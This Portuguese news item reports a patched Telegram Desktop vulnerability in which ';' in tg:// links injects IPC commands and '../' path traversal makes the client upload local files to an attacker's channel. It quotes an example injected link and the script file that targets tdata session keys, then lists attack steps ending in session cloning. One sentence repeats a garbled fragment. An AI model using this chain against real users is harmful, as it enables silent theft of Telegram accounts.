Detalhes e método de exploração da vulnerabilidade (CVE-2026-107181) no Telegram Desktop, o cliente oficial do Telegram para sistemas de desktop, foram revelados. O problema é causado pela falta de tratamento adequado de caracteres de separação não escapados em comandos IPC, permitindo que, ao clicar em um link enviado, qualquer arquivo do sistema da vítima fosse transferido para o atacante, incluindo arquivos com chaves de sessão que podem ser usadas para capturar a conta do Telegram. A vulnerabilidade foi corrigida na versão 7.2.9 do Telegram Desktop.
Ao clicar em links 'tg://', o sistema operacional inicia o aplicativo Telegram Desktop associado a este tipo de link. Se já houver uma outra instância deste aplicativo em execução, o processo ativo transmite o link para ela através de um socket usando a interface IPC. O problema é que se o caractere ';' for incluído entre os parâmetros do link (por exemplo, 'tg://x?a=1;OPEN...'), o conteúdo é dividido e as partes após o símbolo ';' são processadas como comandos separados.
Para realizar o ataque, o comando OPEN é utilizado junto com o esquema URI 'interpret:', destinado a acionar scripts auxiliares através de IPC, que eram usados para enviar automaticamente novas versões para canais. O script consiste em um arquivo local pré-definido, que especifica o arquivo a ser enviado para o canal e o identificador do canal. O caminho do arquivo para os scripts é processado em relação a um subdiretório do sistema, mas devido à falta de limpeza de '.. /' nos caminhos de arquivos, o atacante pode acessar arquivos armazenados fora do diretório básico. Por exemplo, é possível fazer upload de um arquivo para o seu grupo no Telegram e, em seguida, referenciar este arquivo como um script, preparando um link do tipo:
tg://x?a=1;OPEN:interpret:../../../Downloads/Telegram%20Desktop/instructions.txt
Etapas para realizar o ataque:
- O atacante adiciona a vítima ao seu grupo (com as configurações padrão, a adição não requer confirmação da pessoa adicionada) e envia para este grupo um arquivo de texto que especifica o canal e o caminho para o script. O Telegram salvará este arquivo em um subdiretório do sistema pré-definido quando a vítima entrar no grupo.
canal: 2005234537
arquivo: tdata/D877F783D5D3EF8Cs - O atacante envia à vítima um link que parece inofensivo para seu host (por exemplo, 'https://coolsite.org'), que ao ser aberto, através de redirecionamento, é substituído por um URI do tipo 'tg://x?a=1;OPEN:interpret:…;OPEN:interpret:….' servidor o atacante é substituído por um URI no formato 'tg://x?a=1;OPEN:interpret:…;OPEN:interpret:….'
- Ao clicar no link, o navegador chama o manipulador URI «tg://», iniciando a cadeia de comandos mencionada acima, que leva ao envio de arquivos para o canal do atacante sem exibir qualquer notificação e sem solicitar confirmação do envio.
- Após receber os arquivos do subdiretório tdata com as chaves de criptografia e autorização, na ausência de uma senha local definida pelo usuário, o atacante pode clonar a sessão de conexão da vítima em seu dispositivo.
Fonte: opennet.ru
